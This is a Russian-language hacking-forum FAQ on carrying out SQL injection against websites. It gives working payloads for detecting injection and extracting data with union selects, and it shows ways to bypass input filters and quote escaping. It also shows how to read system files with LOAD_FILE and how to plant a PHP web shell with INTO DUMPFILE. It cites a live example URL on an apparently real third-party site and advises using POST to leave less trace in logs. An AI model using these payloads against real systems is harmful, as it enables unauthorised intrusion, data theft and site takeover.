SQL

SQL




Вопрос №1 Что это? (ну и далее линк , обычно с кавычкой на конце, пройдя по которому можно лицезреть ту или иную ошибку)

Этот вопрос порядком поднадоел и впринципе некорректен, но задаётся с завидной регулярностью


Если выводится ошибка, и в ней присутствует что то по базу/sql/mysql/mssql/PostgreSQL и т.д. или вываливается запрос, или функции вывода из базы, то это ошибка БД, и скорее всего будет возможность провести инъекцию.

НО. Инъекция , это внедрение своего кода в запрос и иногда как раз внедрить его не получится, несмотря на ошибку базы. Как нам это определить. Вот некоторые примеры, которые я надеюсь помогут, и избавят от этого вопроса

site.com/index.php?id=1

Выводит страницу 1

site.com/index.php?id=2-1(Выводит страницу 1)

site.com/index.php?id=2(Выводит страницу 2)

-------------------

site.com/index.php?id=1*1(Выводит страницу 1)

site.com/index.php?id=1*2(Выводит страницу 2)

-------------------

site.com/index.php?id=1+and+1=1(Выводит страницу 1)

site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит, вобщем отличается от первого)

-------------------

Если эти примеры работают, то мы имеем SQL инъекцию.


Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы.


Хотелось-бы обратить внимание вот на какой момент. 90% скулей не доставляют хлопот и проводятся по шаблону но, имейте ввиду, что иногда параметры в запросе могут быть заключены в кавычки и скобки . И соответственно, для проведения инъекции запрос нужно будет подгонять под конкретный случай.Когда есть вывод ошибки, запрос можно увидеть(или увидеть ошибку , которая сообщит, что не так), а вот когда его нет, дело обстоит сложнее Я не смогу в рамках этого ФАКа привести все примеры, разумеется, но попробую сформулировать основной принцип. Страница которая выводится без всяких инъектов берётся за true, и при подстановке своего кода, нужно добиваться её вывода. Тоесть:

site.com/index.php?id=1--true

Прервём её комментарием

site.com/index.php?id=1/*

У нас должен быть тот-же вывод. Если его нет, значит мы отсекли своим комментарием какую-то нужную часть запроса. Для начала, попробуем другой комментарий(--,#)

site.com/index.php?id=1--+ 

Появился вывод, хорошо, значит будем использовать однострочный комментарий. Нет, пробуем скобку

site.com/index.php?id=1)/* и т.д., думаю принцип понятен

С кавычкой история немного другая. Если кавычка в запросе не нужна, то вам не удастся вывести страницу с её использованием, а вот если нужна, страница может выводиться нормально , как с ней, так и без неё. Вобщем эксперементируйте. 

site.com/index.php?id=1)/*

site.com/index.php?id=1')--+

site.com/index.php?id=1"/*

site.com/index.php?id=1))--+

и т.д.

Если страница вывелась допустим при таком варианте:

site.com/index.php?id=1')--+

То и запрос будем составлять исходя из того, что параметр заключен в скобки и кавычки. Тоесть:

site.com/index.php?id=1')+union+select+1,2,3--+


Далее этим-же пунктом хотелось-бы обратить внимание на различия баз данных. При выводе ошибки внимательно смотрим на то, что нам пишут, и ищем в ошибке любое упоминание о БД (mysql/Access/InterBase/MSSQL/Oracle/sybase/PostgreSQL) это здорово упростит задачу и избавит от ненужных вопросов и разочарований

Львиную долю занимает конечно MySql, но и другие базы встречаются


Ниже приведу некоторые характерные функции или фразы, которые выводятся в ошибках и позволяют разпознать базу и линки на статьи по разным базам(Опознали базу, го читать статью 

)


PostgreSQL(Префикс pg_)

Функции:

pg_exec()

pg_numrows()

pg_query()

pg_fetch_array()

и т.д.

Статья: 

Проведение SQL-Injection в PostgreSQL

Автор Spyder


Access пишет что-то такое:

[Microsoft][ODBC Microsoft Access Driver]

или

Microsoft JET Database Engine error 

Статья:

Проведение SQL инъекций в Microsoft Access

Автор [53x]Shadow


MS SQL

[Microsoft][ODBC SQL Server Driver]

Статья:

Проведение инъекций в MSSQL сервере от Microsoft 

Автор [ cash ]


InterBase\Firebird

ibase_query()

ibase_fetch_object()

ibase_free_result()

ibase_fetch_row()

Статья:

Заметка по Firebird SQL injection 

Автор l1ght


Oracle

ORA-01756

(И вообще всякие ORA) 

Статья:

Проведение SQL инъекций в Oracle 

Автор [53x]Shadow


Sybase

Sybase error

sybase_query()

sybase_num_rows()

Статья:

Проведение SQL инъекций в Sybase ASE 

Автор ~!DoK_tOR!~


Ну и конечно наш любимый MySql :

Статьи:

SQL injection полный FAQ 

Автор Dr.Z3r0

SQL инъекция (в т.ч. и blind SQL) 

Автор kot777

Эффективные Слепые Иньекции

Автор Евгений Минаев

Новая альтернатива Benchmark'y или эффективный blind SQL-injection 

Автор Elekt

Быстрый Blind SQL Injection 

Автор Qwazar

-----------------


По скулям вроде-бы всё, если в ошибке присутствуют функции

include()

include_once()

require()

require_once()

file()

readfile()

и т.п. Идем читать статьи по PHP инклудам:

php injection

Автор GreenBear

TRUE PHP-injection 

Автор Zadoxlik

PHP-include и способы защиты

Автор _Pantera_

[новый способ] замена нулл-байту в инклудах 

Автор [Raz0r]

Логи и конфиги

Default *log, *conf files locations 

respect ettee

-----------------------------------------


Вопрос №2 Вот так выводит , а вот так невыводит.

site.com/index.php?id=1+union+select+1,2,3,4/*------------выводит

site.com/index.php?id=1+union+select+1,version(),3,4/*----невыводит


Господа, вывод у скули либо есть, либо нет, и если вы видите вывод цифры, но не видите версию или значние из столбца, то варианта 2 либо кодировка, либо тип данных не соответствует


Кодировка:

Может сопровождаться ошибкой такого плана:

Code:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST)
Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT)

Бороться с этим можно несколькими способами, но все они сводятся к одному и тому-же. Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:


cast(Version()+as+binary)

CONVERT(Version(),binary)

convert(version()+using+latin1)

convert(version()+using+binary)


Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке

aes_decrypt(aes_encrypt(Version(),1),1)

unhex(hex(version()))


пример, можете поэксперементировать с разными функциями:

http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,cast(version()+as+binary),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables--


Несоответствие типа данных вам может встретится на БД отличных от MySql. MySql относится к типам данных достаточно лояльно, а вот другие БД в основном несоответствия не терпят. Если ваша база оказалась именно такой нужно ознакомится со статьями по проведению инъекций в Вашей базе.

-------------------------------------------


Вопрос №3 Не выводит значение из таблицы, а она есть , точно знаю )

Обычно этот вопрос возникает на 5 ветке мускула, когда все таблицы выведены из information_schema, отсюда и уверенность, что таблица существует.

Вариантов опять-же два

Первый: таблица пустая

Проверяется это элементарно, например так:

union+select+1,2,count(*),4+from+user

count(*) выводит количество записей в таблице, если вывело 0, таблица пустая

либо для 5 ветки так

union+select+1,table_rows+from+information_schema.tables+where+table_name='sasasa'

Второй: Таблица в другой базе.

В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт

Проверяется так(5 ветка) 

table_schema+from+information_schema.tables+where+table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна

union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)

-------------------------------------------


Вопрос №4 Не могу вывести данные (Вытекает из предыдущего)

table_name='users' Ошибка

Скорее всего magic_quotes_gpc = On , и соответственно кавычки слешируются

И снова целых 2 варианта. 

Перевести название таблицы/колонки в hex или в CHAR, кому как нравится

Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):

union+select+1,table_rows+from+information_schema.tables+where+table_name=0x7573657273 

для CHAR так:

union+select+1,table_rows+from+information_schema.tables+where+table_name=char(117,115,101,114,115)

Как видим обошлись без кавычек (сдесь table_name=users)

Некоторые индивидумы умудряются загонять в хекс или чар вместе с кавычками, тоесть так 'users'=27757365727327, так делать ненадо, база этого не оценит )


Вниманиеоператоры, функции, и т.д переводить в hex или char нельзя


Онлайн кодировщики:

Инструменты для шифрования/дешифрования данных 

encode_decode 0.8 

Base64 encode/decode 

Universal char SQL encoder by [53x]Shadow! 

TRANSLATOR, BINARY 

-------------------------------------------


Вопрос №5 Подбираю столбцы ордером пишет(допустим) 2, делаю запрос union+select+1,2 ничего не выводит (выводит ошибку)

Первое что нужно сделать в этом случае. проверить версию базы, например так:

site.com/index.php?id=1+and+substring(version(),1,1)=3

site.com/index.php?id=1+and+substring(version(),1,1)=4 

site.com/index.php?id=1+and+substring(version(),1,1)=5


Если оказалось, что версия третья, то неудивительно. что вывода нет, оператор union введён с четвётой версии mysql. B этом случае читаем статьи по проведению инъекций в 3 ветке


Если версия >=4 . или мы видим ошибку different number of columns это вовсе не означает, что вывода не будет.

Вероятность найти вывод всё равно остаётся. По этой теме идём читать сюда:

different number of columns 

с поста 79 и вниз со всеми комментариями

-------------------------------------------- 

Вопрос №6 В скуле фильтруется ...(варианты)


Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены

Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется.


Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть:

a.php?id=1/*вот сюда вставляем*/

И если такой запрос не обработается нормально, то это оно и есть


Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS 

а в подзапросах можно вообще без пробелов как-то так:

php?a=(1)AND(lower(substring((SELECT(password)from(mysql.user)WHERE(user="user")),1,1))='b')

php?a='1'AND(exists(select(1)from(SmallNu_users)where(ascii(lower(substring(user_id,1,1))))like(50)))and'1'<'2'


"=" можно обойти с помощью like, IN, NOT IN


Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче)

---------------------------------------------


Вопрос №7 Помогите залить шелл через SQL

Для этой процедуры необходимо выполнение некоторых условий


1 file_priv (возможность чтения/записи файлов)

Проверяется это так:

union+select+file_priv+from+mysql.user+where+user='имя юзера'

'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу:

union+select+user()

но без хоста. Тоесть если вывело root@localhost, то юзер root

Значения два, либо "Y"-повезло, либо "N", соответственно неповезло

Можно не заморачиваться и сразу попробовать прочитать файл:

union+select+LOAD_FILE('/etc/passwd')+from+mysql.user

если вывело, нужные привелегии у вашего юзера есть


2 Полный путь и папка на запись

Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше.


3 magic_quotes_gpc = Off

Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках. 


Ну и наконец, если нам трижды повезло, льём например так:

union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*

или ещё варианты рассматриваются сдесь:

Загрузка файл через mysql inj 

Автор [cash]

и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь:

Заливка через двойной запрос 

Автор Scipio

---------------------------------------------


По XSS вопросов возникает меньше, но линки на темы всё-же приведу:

Взлом чатов by Algol. Теория и Практика 

Автор Algol

Особенности синтаксиса HTML 

Авторы Algol zFailure

Использование UTF-7 в атаках класса XSS 

Автор Algol

XSS крупным планом 

Автор Thesaurus

Cross Site Scripting для новичков 

Автор _Pantera_

Xss для новичков 

Автор Micr0b

Темная сторона Xss 

Автор Constantine


Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи. 

База information_schema, появилась в MySql =>5 

А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке



:)


Report Page